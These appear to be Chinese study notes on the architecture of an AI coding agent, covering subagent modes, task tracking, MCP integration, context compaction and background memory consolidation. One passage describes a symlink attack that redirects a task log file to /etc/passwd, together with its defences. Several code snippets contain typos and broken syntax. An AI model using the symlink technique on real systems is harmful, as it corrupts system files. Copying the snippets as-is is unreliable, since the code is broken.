从左到右:执行粒度越来越粗,隔离程度越来越高。
模式详解:本地同步 vs 本地后台
本地同步(默认):
主 Agent -> AgentTool.call() -> 子 Agent 执行 -> 返回结果 -> 主 Agent 继续
特点:简单直接,适合 < 15s 的快速任务。
本地后台 (run in background: true)
主 Agent -> AgentTool.call()
|-- registerAsyncAgent(taskId)
|-- spawn 后台任务
|-- 立即返回 { status: 'async_launched', agentId }
子 Agent 在后台运行 -> 写入 /tmp/claude_tasks/{taskId}.log
主 Agent 后续可用 Taskoutput({ task_id }) 检查进度。
15 秒自动后台化
场景:助手模式(KAIROS,通过消息应用发送任务)
主 Agent 调用 AgentTool (同步模式)
↓
子 Agent 开始执行 1
↓(15 秒后)
系统检测:任务还在运行 + 当前是助手模式
↓
自动转后台:backgroundCurrentAgent()
↓
返回:{ status: 'async_launched', message:'任务将在完成时通知你' }
↓
用户可以关闭 whatsApp/Telegram
洞察:异步是正确的默认行为,同步是特殊需要。
Fork 子 Agent:隔离的代价和收益
工作原理
主 Agent (main 分支)
|-- AgentTool.call({ isolation: 'worktree' })
|-- 创建 gitworktree(新分支,独立目录)
|-- Fork 文件状态缓存(快照,不共享)
|-- 复制系统提示(共享 prompt cache)
子 Agent 在 worktree/branch-xxx 独立执行
收益:任务失败 -> 直接丢弃 worktree,主目录干净。
代价:
- 项目必须是 git 仓库
- worktree 创建有开销(~100 ms)
- 需要合并才能把修改应用到 main
Remote Agent:云端执行
适用场景:小时级别的长任务,或需要特定环境的任务
主 Agent(本地)
|-- AgentTool.call({ isolation: 'remote' })
|-- 检查 CCR (claude Cloud Run)可用性
|-- 上传必要文件到 CCR
|-- 返回 { status: 'remote launched', sessionUrl }
子 Agent(在 CCR 云端运行)
|-- 执行 prompt(拥有独立云端资源)
|-- 结果可通过 sessionUrl 查看
特点:完全隔离的环境,不占用本地资源。
Agent Swarm:多 Agent 协作
创建具名队友
Agent({
name: "alice',
team_name: "backend_team",
prompt:"你是后端架构师 Alice,负责 API 设计建议",
mode:'auto'
})
SendMessage ({
to: "alice",
message:"Alice,帮我看一下这个 REST API 设计"
})
通信机制:
SendMessageTool -> agentNameRegistry -> 消息队列 -> 目标 Agent 的 query() 循环
风险:多个 Teammate 同时修改同一文件 -> 竞争条件。
解决方案:每个 Teammate 使用独立 worktree。
Task 系统:统一的任务追踪
任务类型:
export type TaskType
| 'local bash', // Bash 命令
| 'local_agent', // 本地子 Agent
| 'remote_agent', // 远程 Agent
| 'in_process_teammate', // Swarm 队友
| 'local_workflow' // 工作流
任务 ID 格式:
b_k2p9x7qm <- bash 任务
a_r4t8v2nj <- agent 任务
r_xly5z9ws <- remote 任务
t_m3n7k4gp <- teammate
设计要点:
- 前缀标识类型(一眼看出任务类型)
- 8 位 base36 随机(36^8≈2.8 万亿种可能)
- 大小写不敏感(终端双击可完整选中)
任务 ID 的安全考量
问题:输出文件路径包含 ID(/tmp/claude_tasks/{taskId}.log)
攻击场景:符号链接攻击
攻击者在任务启动前创建符号链接:
/tmp/claude_tasks/a_r4t8v2nj.log -> /etc/passwd
主 Agent 写入输出文件时,实际写入了 /etc/passwd
防御措施:
- 足够长的随机 ID(8 位 base 36,2.8 万亿种可能)
- ID 在任务启动后才确定(攻击者无法预测)
- 文件写入前检查目标是否为符号链接
安全理念:不信任任何路径猜测,防御性编程。
八、MCP 集成与扩展架构
![[MCP核心架构.excalidraw]]
四种传输层
适用场景对比
| 传输层 | 通信方式 | 适用场景 |
|---|---|---|
| Stdio | 子进程 stdin/stdout | 本地工具(最常见) |
| SSE | HTTP 长连接 | 持久化服务器/云服务 |
| StreamableHTTP | HTTP 流式 | 需要流式响应的场景 |
| WebSocket | WebSocket | 实时双向通信 |
选择原则:MCP 服务器在哪里,就用哪种传输层。本地命令行工具 > Stdio;远程 API > SSE/HTTP;测试调试 > InProcess
Stdio 传输详解
子进程通信模式
claude-code (主进程)
|-- 启动子进程:运行 mcp 服务器 npx @modelcontextprotocol/server-filesystem /path
|-- 写入子进程 stdin(JSON-RPC 请求)
|-- 读取子进程 stdout(JSON-RPC 响应)
优点:
- 零配置,服务器程序直接运行
- 进程隔离,安全性好
缺点: - 服务器随 claude-code 启动/关闭
- 无持久化状态(重启丢失)
SSE 传输详解
HTTP 长连接模式
claude-code (客户端)
|-- HTTP GET https://mcp-server.example.com/events
(长连接,服务器推送事件)
推送消息时:
<- event: message
data: ("jsonrpc":"2.0","method":"tools/list","result":"xxx")
优点:
- 服务器独立进程/云服务
- 有持久化状态
缺点: - 需要网络连接
- 有认证复杂度
MCPTool 适配器
统一工具接口
function wrapMcpTool(serverName: string, mcpToolDef: MCPToolDefinition): Tool {
const toolName = buildMcpToolName(serverName, mcpToolDef.name) // 例: mcp__filesystem_ read_file
return {
name: toolName,
isMcp: true,
mcplnfo: { serverName, toolName: mcpToolDef.name },
inputSchema: jsonSchemaTozod(mcpToolDef.inputSchema),
async call(args, context) {
// 1. 调用 MCP 服务器
const result = await mcpClient. callTool({ name, arguments: args })
// 2. 截断过大输出,大文件持久化到磁盘
return truncateMcpContentIfNeeded(result)
},
async checkPermissions (input, context) {
// 支持按服务器批量 deny
const isDenied = context.toolPermissionContext.denyRules
.some (rule => rule.startsWith(`mcp_$(serverName}`))
if (isDenied) return { granted: false )
return checkToolInDenyRules(this.name, context)
}
}
}
权限控制设计
deny rules 的威力
MCP 工具名称格式 mcp_serverName_toolName
"deniedTools": [
"mcp_filesystem_*", // 禁用 filesystem 服务器所有工具
"mcp_db_delete_*", // 只禁用 db 服务器的 delete 工具
"mcp_*", // 禁用所有 MCP 工具
]
星号通配符 + 服务器名前缀
-> 实现从粗粒度(整个服务器)到细粒度(单个工具)的权限控制
资源系统
MCP 不只是工具
MCP 资源:可以被读取的数据端点,不只是本地文件
// 列出 MCP 服务器提供的资源
ListMcpResourcesTool.call({ serverName: 'filesystem' })
-> [
{ uri: "file:///Users/tal/project/README.md" , name: "README", mimeType: "text/markdown" },
{ uri:"file:///Users/tal/project/src/" , name: "src directory", mimeType: "inode/directory" }
]
// 读取具体资源
ReadMcpResourceTool.call({ serverName:'filesystem', uri: 'file:///Users/tal/project/README.md' })
-> "# Project\n\nThis is..."
资源 URI 可以是任意格式:
- db://customers/123 (数据库记录)
- api://github/repos/owner/repo (GitHub 数据)
- memory://session/context (持久化记忆)
OAuth Token 自动刷新
认证服务器的处理
async call(args,context) {
//执行工具调用
try {
return await mcpClient.callTool({ name, arguments: args })
} catch (error) {
//401 错误-尝试刷新 token
if (error.code=== -32042 || error.message?.includes('401')) {
const refreshed = await checkAndRefreshoAuthTokenIfNeeded(serverName)
if (refreshed) {
// 用新 token 重试
return await mcpClient.callTool({ name, arguments: args })
}
}
throw error
}
}
Token 存储:通过 OneCLI(Agent Vault) 管理,不直接存在磁盘文件里
Elicitation
MCP 工具的交互模式
Claude 调用 mcp_github create_pr
↓
GitHub MCP 服务器发现需要用户指定 base 分支
↓
服务器返回 Elicitation 请求:
{"elicitation":{"prompt":"请选择 PR 的目标分支","options":["main","dev"]}}
↓
claude-code 显示选项给用户
↓
用户选择"main"
↓
claude-code 把选择发回 MCP 服务器
↓
MCP 服务器完成 PR 创建
Elicitation 让 MCP 工具变成交互式的
Elicitation 的影响
打破"确定性工具"假设
传统工具:输入 > 输出(确定性,相同输入总是相同输出)
==有 Elicitation 的工具:==输入 -> 追问用户 -> 输出(不确定)
影响
- LLM 无法预知 Elicitation:在规划阶段,LLM 不知道这个工具调用会不会触发 Elicitation
- 不适合无人值守模式:有 Elicitation 的工具会卡住等待用户输入
- auto 权限模式的边界情况:如果遇到 Elicitation,应该有超时机制
结论:有 Elicitation 的 MCP 工具,在无人值守环境下需要谨慎使用
Prompt Cache 与 MCP
工具排序策略
用户配置了 3 个 MCP 服务器:A、B、C
工具列表(按名称排序):
内置:[AgentTool,BashTool,...](稳定,命中缓存)
MCP:[mcp_A_tool1, mcp_A_tool2, mcp_B_tool, mcp_C_tool]
用户新增 MCP 服务器 D:
内置:[不变](缓存命中)
MCP:[mcp_A_tool1, mcp_A_tool2, mcp_B_tool, mcp_C_tool, mcp_D_tool]
↑新增
MCP 部分变化 -> 前缀缓存失效(但内置工具缓存仍命中)
合理权衡:内置工具缓存最稳定,MCP 工具缓存次之
九、上下文压缩与记忆系统
问题:上下文窗口是有限的
Claude 的上下文窗口有限(目前约 200K token)。
一次长编程会话的 token 消耗:
系统提示 ~2,000 token
工具列表 ~5,000 token
CLAUDE.md 记忆 ~1,000 token
对话+工具调用 每轮~3,000-10,000 token
---------------------------------------------------------------
第 10 轮 ~58,000 token
第 20 轮 ~108,000 token
第 25 轮 停止响应(too_long 错误)
没有压缩机制,长对话会:
- API 调用越来越贵(prompt cache 命中率下降)
- 推理质量下降(Claude 开始"忘记"早期内容)
- 最终触发 prompt_too_long 错误
三种压缩策略
策略 1:自动压缩(AutoCompact)
当 token 数量超过阈值时,在下一次 API 调用前自动触发:
if (calculateTokenWarning (tokenCount) >= COMPACT_THRESHOLD) {
// 触发压缩:在后台执行,不中断当前对话
const compactResult - await triggerAutoCompact(state.messages)
state = {
..state,
messages: compactResult.compactedMessages,
transition: { type: 'reactive_compact' )
}
continue queryLoop // 继续原来的对话
}
策略 2:响应式压缩(ReactiveCompact)
API 调用返回后,检测到 prompt_too_long 错误时触发,
区别:自动压缩是"预防性的",响应式是被动的(超限后再压缩并重试)
策略 3:手动压缩(/compact 命令)
压缩过程:Pre-compact Hooks
原始消息历史(100 条,150 Ktoken)
↓
Pre-compact hooks(工具可注入"保留这个"上下文)
↓
调用 Claude 生成摘要
"本次会话主要做了:
1. 创建了 user-service.ts, 实现了 CRUD
2. 修改了 auth.ts,添加了 JWT 验证
注意:auth.ts 第 42 行的 TODO 还未完成"
↓
CompactBoundaryMessage (标记压缩点)
↓
Post-compact hooks(工具可注入"压缩后添加这个"上下文)
↓
新消息历史(1 条摘要 + 最近 N 条原始消息,30K token)
压缩结果:150,000 token > 30,000 token(压缩 80%)
CompactBoundaryMessage:压缩点标记
压缩后的消息历史里,有一个特殊消息标记压缩点:
type SystemCompactBoundaryMessage = {
role: 'system'
type: 'compact boundary'
compactedAt: number // 时间戳
originalTokenCount: number //压缩前 token 数
summary: string // 摘要内容
retainedMessageCount:number //保留了几条原始消息
}
为什么需要这个标记?
- 调试:清楚看到"这里发生了压缩"
- 重播:如果需要重放对话,知道从哪里开始是压缩后的状态
- Tools:某些工具(如记忆工具)在压缩边界上注册 hook
压缩 Hook 系统
工具可以"干预"压缩过程:
Pre-compact:在压缩前检查有没有正在运行的项目,如果有,就把任务列表格式化后注入到上下文中。Claude 就不会失忆了
// Pre-compact hook:在生成摘要前注入内容
type PreCompactHook = {
priority: number // 高优先级先执行
inject(messages: Message[]): string // 返回需要保留的上下文
}
// Post-compact hook:在压缩后注入内容
type PostCompactHook = {
inject(summary: string): string // 修改或追加摘要
}
实际应用---TaskTool 注册 pre-compact hook:
registerPreCompactHook({
priority: 100,
inject (messages) {
const activeTasks = getActiveTasks ()
if (!activeTasks.length) return
return `[重要:以下后台任务正在运行 ${formatTasks (activeTasks)}]`
}
})
CLAUDE.md:跨会话的持久知识
CLAUDE.md 记忆与上下文压缩是互补关系
| 上下文压缩 | CLAUDE.md | |
|---|---|---|
| 处理什么 | 当前会话的旧内容 | 持久知识、约束、规范 |
| 触发时机 | 自动(token 超限)或手动 | 启动时自动加载 |
| 信息损耗 | 有(摘要丢失细节) | 无(全文保留) |
| 适合存储 | 对话历史的摘要 | 不变的规范和约束 |
核心原则:
CLAUDE.md 文件的发现机制
function findClaudeMdFiles (cwd: string) : string[] {
const files = []
//1.当前目录
if (exists (`$(cwd)/CLAUDE.md`)) files.push(`${cwd)/CLAUDE.md')
//2.父目录(向上遍历,直到 home 目录)
let dir = cwd
while (dir !== homeDir) {
dir = path.dirname(dir)
if (exists(`$(dir}/CLAUDE.md`)) files.push(`$(dir}/CLAUDE.md`)
}
//3.用户全局记忆
if (exists(`~/.claude/CLAUDE.md`)) files.push(`~/.claude/CLAUDE.md`)
return files
}
文件层次: ~/.claude/CLAUDE.md -> 项目根目录 -> 子目录
记忆附件机制
function createMemoryAttachment (claudeMdPath: string): Message {
const content = readFile(claudeMdPath)
return {
role: 'user',
content: [
type: 'document',
source_type: 'base64',
media_type: 'text/plain',
data: base64(content),
cachecontrol: { type:'ephemeral') // 不缓存
]
}
}
为什么用 document 类型而不是 text?
Anthropic API 的 document 类型对文件内容有专门优化--Claude 会把它视为"参考文档"而不是“对话内容”,在处理时予更稳定的权重
嵌套记忆 (Nested Memory)
当 Claude 在对话中读取了某个子模块的 CLAUDE.md,系统会追踪这个文件路径:
private loadedNestedMemoryPaths = new Set<string>()
// 工具调用读取了 /some/project/CLAUDE.md
if (isClaudeMdFile(toolResult.path)) {
if (!this.loadedNestedMemoryPaths.has(toolResult.path)) {
this.loadedNestedMemoryPaths.add(toolResult.path)
// 下一轮对话,把这个文件的内容作为记忆附件注入
}
}
为什么?
Claude 读取了某个子模块的 CLAUDE.md,说明当前任务涉及那个模块。系统自动把该文件变成"持久附件",后续所有对话都会包含这个上下文。
Session 持久化与恢复
claude-code 把每次会话的消息历史保存到磁盘:
~/.claude/
|-- projects/
|-- {projectHash}/
|-- sessions/
|-- (sessionId).json # 消息历史
|-- {sessionId}.meta.json # 会话元数据
Resume 机制:
claude --resume # 继续最近的会话
claude --resume{sessionId} # 继续指定会话
Resume 时:
- 读取.jsonl 文件恢复消息历史
- 如果有压缩边界,从压缩点开始(不重播压缩前的内容)
- 重新连接 MCP 服务器
- 恢复文件状态缓存
压缩的"损失"问题
压缩不可避免地会丢失信息。主要丢失的内容:
- 工具调用的细节:摘要会说"修改了 X 文件",但不记得修改前的内容
- 被否决的方案:Claude 尝试了 A 方案被用户否决,摘要可能丢失这个信息
- 隐性约束:用户在对话中反复强调的偏好,压缩后可能被稀释
缓解措施
- 用户在 /compact 时提供"保留重点"指示
- Pre-compacthooks 允许工具注入"一定要保留的" 内容
- CLAUDE.md 可以手动记录重要约束==(这不会被压缩)==
实践建议
什么应该写进 CLAUDE.md?
- 项目技术栈和架构约定
- 代码风格偏好("不用 async/await")测试文件位置和命名规范
- API 认证要求("所有端点需要 JWT")
- 重要的决策记录("为什么选了方案 B")
❌ 正在讨论但未确定的内容
❌ 过期的信息(已经实现的 TODO)
❌ 不重要的临时偏好
核心原则:把 Claude 应该"永远记住的事情"写进去。
十、自动记忆系统与 Dream 模式
stopHooks 管道:每轮结束后的后台任务触发器
触发时机:每次 query 循环结束(模型产出最终响应,无工具调用时)
模型回复完成(无工具调用)
↓
handleStopHooks() 触发:
1.saveCacheSafeParams () <- 保存 prompt cache 快照
2.executePromptSuggestion () <- fire-and-forget
3.executeExtractMemories () <- fire-and-forget
4.executeAutoDream() <- fire-and-forget
5.executeStopHooks() <- 用户外部 hooks(阻塞)
6.executeTeammateIdleHooks () <- Swarm 模式 teammate 钩子
为什么这些任务放在 stopHooks 里?
时机窗口:消息历史最完整 + prompt cache 刚更新 + 用户在等待
每轮 query 结束时:
|-- 消息历史是最完整的(包含了这轮的所有工具调用和结果)
|-- prompt cache 刚刚更新(forked agent 能直接共享这批 cache)
|-- 用户在等待下一次输入-有一个短暂的"空闲窗口"可以做后台工作
关键设计:fire-and-forget 不阻塞主线程,用户无感知。
extractMemories:每轮自动记忆提取
是什么:每次 query 结束后,在后台启动一个 forked:agent,分析这轮对话,把值得持久化的信息写入 memory/ 目录。
主对话结束
↓
executeExtractMemories () (fire-and-forget)
↓
runForkedAgent ('extract memories')
|-- 共享父 agent 的 prompt cache
|-- 最多 5 轮(防止兔子洞)
|-- 权限:只能写 memory 目录,Bash 只读
|-- 完成后:在主对话 UI 显示 "SavedN memories"
只针对主 agent:subagent 跳过提取。
为什么用 forkedagent 而不是直接调用 API?
| 方案 A: 直接 API 调用 | 方案 B: forked agent (实际选择) | |
|---|---|---|
| 实现 | 简单 | 复杂 |
| 系统 prompt | 需独立维护 | 复用父 agent |
| 工具列表 | 需独立维护 | 复用父 agent |
| prompt cache | 每次都要重新计算 | 自动命中父 agent 的缓存 |
| 权限系统 | 需独立实现 | 复用 canUseTool |
| 成本节省: | ||
| 如果工具描述占 5000 token,每次APl调用成本 $0.003/1K token 每天 100 次 extractMemories > 每天节省 $1.5 大型团队每天数千次调用,节省可观! |
cursor 机制:不重复处理同样的消息
游标 lastMemoryMessageUuid:每次只处理游标之后的新消息
let lastMemoryMessageUuid: string | undefined
//每次只处理游标之后的新消息
const newMessageCount = countModelVisibleMessagesSince (
messages,
lastMemoryMessageUuid,
)
// 成功后推进游标
lastMemoryMessageUuid = messages.at(-1)?.uuid
第1轮:处理消息1-10,游标 -> 消息10的UUID
第2轮:处理消息11-15,游标 -> 消息15 的UUID
第3轮:处理消息16-20,游标 -> 消息20的UUID
容错设计:游标 UUID 被上下文压缩删除了?回退到"计算全部消息数量",而不是返回 0。
互斥检查与重叠保护
互斥检查:如果主 agent 在这轮已经直接写过 memory 文件,forked agent 跳过提取并推进游标。
if (hasMemoryWritesSince(messages, lastMemoryMessageUuid)) {
return // 跳过,推进游标
}
重叠保护:如果上一次提取还在运行,新的触发会把 context stash 起来,等当前提取完成后再运行一次 "trailing extraction"。
触发 1 -> 开始运行
触发 2 -> stash pendingContext
触发 1 完成 -> 发现 pendingContext -> 运行 trailing extraction
autoDream:后台记忆整合系统
设计意图:
| extractMemories | autoDream |
|---|---|
| 事后追加 | 定期整合 |
| 每轮写几条新记忆 | 把碎片整合成结构化的、去重的、更新的记忆库 |
| 类比:每天记日记 | 类比:每月整理笔记 |
问题积累:相互矛盾的事实("上周用 Jest","这周改 Vitest")-过时的信息("TODO:修 auth bug"但 bug 已修好) - 重复的描述(三个地方都说"不用 async/await")
三关门系统:成本从低到高
关门 1(时间关):距上次整合 ≥ 24 小时?
-> 1 次文件 stat 操作,成本极低
-> 不满足:直接返回,99% 的情况在这里结束
关门 2(会话关):自上次整合后,有 ≥ 5 个新会话?
-> 扫描 transcript 目录(有 10 分钟节流)
-> 不满足:跳过
关门 3(锁关):没有其他进程正在整合?
-> 分布式文件锁(修改 mtime 实现)
-> 已锁定:跳过
为什么按这个顺序?
最贵的操作放最后。时间检查只需要一次 stat。会话扫描需要遍历目录。锁操作需要文件写入。
Dream 的四阶段整合 prompt
Dream 以 forked agent 形式运行,prompt 规定了明确的四阶段工作流:
Phase 1 - Orient(定向)
1s 记忆目录,读 MEMORY.md 索引
浏览现有主题文件,了解已有内容
Phase 2 - Gather recent signal (收集新信号)
优先级:日志文件 > 有漂移的现有记忆 > transcript 搜索
注意:不要大量读 JSONL,只针对性 grep
Phase 3 - Consolidate(整合)
合并新信号到现有主题文件,不创建重复
相对日期转绝对日期("yesterday" -> "2026-04-20")
删除与当前状态矛盾的旧事实
Phase 4 - Prune and index(修剪和索引)
更新 MEMORY.md,保持 ≤ 25KB、每条 ≤ 150 字符
移除过时条目
解决两个文件之间的矛盾
DreamTask:Dream 进度可见性
Dream 运行期间,用户可以在后台任务对话框看到进度(Shift + Down):
export type DreamPhase = 'starting' | 'updating'
export type DreamTaskState = {
type:'dream'
phase: DreamPhase // 第一次 Edit/Write 时 starting updating
sessionsReviewing: number
filesTouched: string[] // 已修改的记忆文件
turns: DreamTurn[] // 每个 assistant turn 的摘要
priorMtime: number // 用于 kil 时回滚锁
}
phase 变化:DreamProgressWatcher 监听 forked agent 的每条消息。当检测到 Edit 或 Write 工具调用时,phase 从'starting' 变为 'updating'。
Kill 和锁回滚
用户可以从后台任务对话框里终止 Dream。Kill 流程:
用户点击 Kill
↓
DreamTask.kill()
↓
abortController.abort() <- 中止 forked agent
↓
rollbackConsolidationLock(priorMtime) - 把文件 mtime 回滚到整合前
↓
结果:下次会话可以重新触发 Dream
为什么必须回滚?
如果不回滚锁,锁文件的 mtime 指向一个"未完成的整合"。
时间关门会认为整合刚完成,24 小时内不会再触发。
被 kill 的 Dream 白白浪费了一次整合机会。
功能门控:谁不能 Dream?
Dream 模式被多重门控
function isGateOpen(): boolean {
if (getKairosActive()) return false // 消息助手模式不运行
if (getIsRemoteMode()) return false // 远程模式不运行
if (!isAutoMemoryEnabled()) return false
return isAutoDreamEnabled()
GrowthBook 旗标: 'tengu_onyx_plover'
控制 minHours 和 minSessions 两个参数的远程调整。
bare 模式豁免:-p 非交互模式下,stopHooks 的步骤 2-4 全部跳过。
awaySummary:「你离开期间」摘要卡
当用户离开一段时间后返回,claude-code 会显示一个"期间摘要"卡片,用 1-3 句话告诉用户:当前在做什么 + 下一步是什么。
const RECENT_MESSAGE_WINDOW = 30 // //只看最近 30 条消息
async function generateAwaySummary (message,signal) {
const memory = await getSessionMemoryContent() // session memory 作上下文
const recent = messages.slice(-RECENT_MESSAGE_WINDOW)
recent.push (createUserMessage({ content: buildAwaySummaryPrompt(memory) }))
return await queryModelWithoutStreaming({
model: getSmallFastModel() // 小模型:快速 + 便宜
skipCacheWrite: true // 一次性调用,不写 cache
}),
}
runForkedAgent:共享底层基础设施
extractMemories、autoDream、awaySummary 都依赖 runForkedAgent
export async function runForkedAgent ({
promptMessages, // 父 agent 的消息历史
cacheSafeParams, // 来自 saveCacheSafeParams,包含父 agent 的 cache key
canUseTool, // 权限控制函数
querysource, // 用于 analytics
forkLabel, // 用于调试日志
skipTranscript, // forked agent 不写 transcript (避免竞争)
maxTurns, // extractMemories 限制 5 轮
overrides, // 可传入 abortcontroller
onMessage // 消息流回调(dream 用于追踪进度)
}): Promise<ForkedAgentResult>
关键:forked agent 的工具列表必须和父 agent 完全相同,才能命中 prompt cache。
三个系统的分工
| extractMemories | autoDream | awaySummary | |
|---|---|---|---|
| 触发时机 | 每轮对话结束 | 24 h + 5 会话后 | 用户返回时 |
| 目标 | 追加新信息 | 整合现有信息 | 提供即时上下文 |
| 方向 | 增量写入 | 重组+去重+删除 | 不写,只读 |
| 类比 | 每天记日记 | 每月整理笔记 | 便利贴 |
| 成本 | 中(forked agent) | 高(forked agent × 多会话) | 低(小模型,1 次调用) |
三者互补:extractMemories 保证捕获,autoDream 保证质量,awaySummary 保证可用性。
设计分析:为什么是forked agent
核心优势:
- 自动共享父 agent 的 prompt cache(5000 + token 的工具描述缓存命中)
- 权限系统复用(canUseTool 函数)
- 行为一致(相同的工具、相同的能力)
trade-off:
- 实现更复杂
- 需要 cache 稳定性保证
成本分析:
如果工具描述占 5000 token,每次 API 调用成本 $0.003 / 1Ktoken 每天 100 次 extractMemories 调用 > 每天节省 $1.5 大型团队每天数千次调用,节省可观!
设计分析:三关门顺序的重要性
如果关门顺序反过来(先锁,再会话,再时间):
- 每轮都要检查锁(文件写入操作),成本高
- 大多数情况下时间关门会过滤掉,但已经付出了锁检查的代价
正确顺序(先时间,再会话,再锁):
- 99% 的调用在 1 次 stat 操作就过滤掉
- 只有真正需要整合时才做昂贵的目录扫描和锁操作
时间复杂度:
错误顺序:O(锁检查+会话扫描+ 时间检查) ≈ O(n)
正确顺序:O(时间检查) ≈ O(1) // 99%的情况
设计分析:extractMemories vs autoDream
| extractMemories | autoDream | |
|---|---|---|
| 触发频率 | 每轮 | 24 小时 + 5会话 |
| 目标 | 追加新信息 | 整合现有信息 |
| 方向 | 增量写入 | 重组 + 去重 + 删除 |
| 类比 | 每天记日记 | 每月整理笔记 |
两者的互补性:
- extractMemories 保证新信息被捕获
- autoDream 保证积累的信息保持高质量
==没有 Dream 会怎样? ==
- 记忆文件会积累大量碎片:矛盾、过时、重复
- 每次读取记忆都要处理大量噪声
- Claude 可能被过时信息误导